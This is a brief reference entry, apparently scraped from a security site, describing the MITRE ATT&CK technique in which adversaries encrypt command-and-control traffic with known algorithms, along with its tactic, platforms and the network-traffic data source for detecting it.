Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre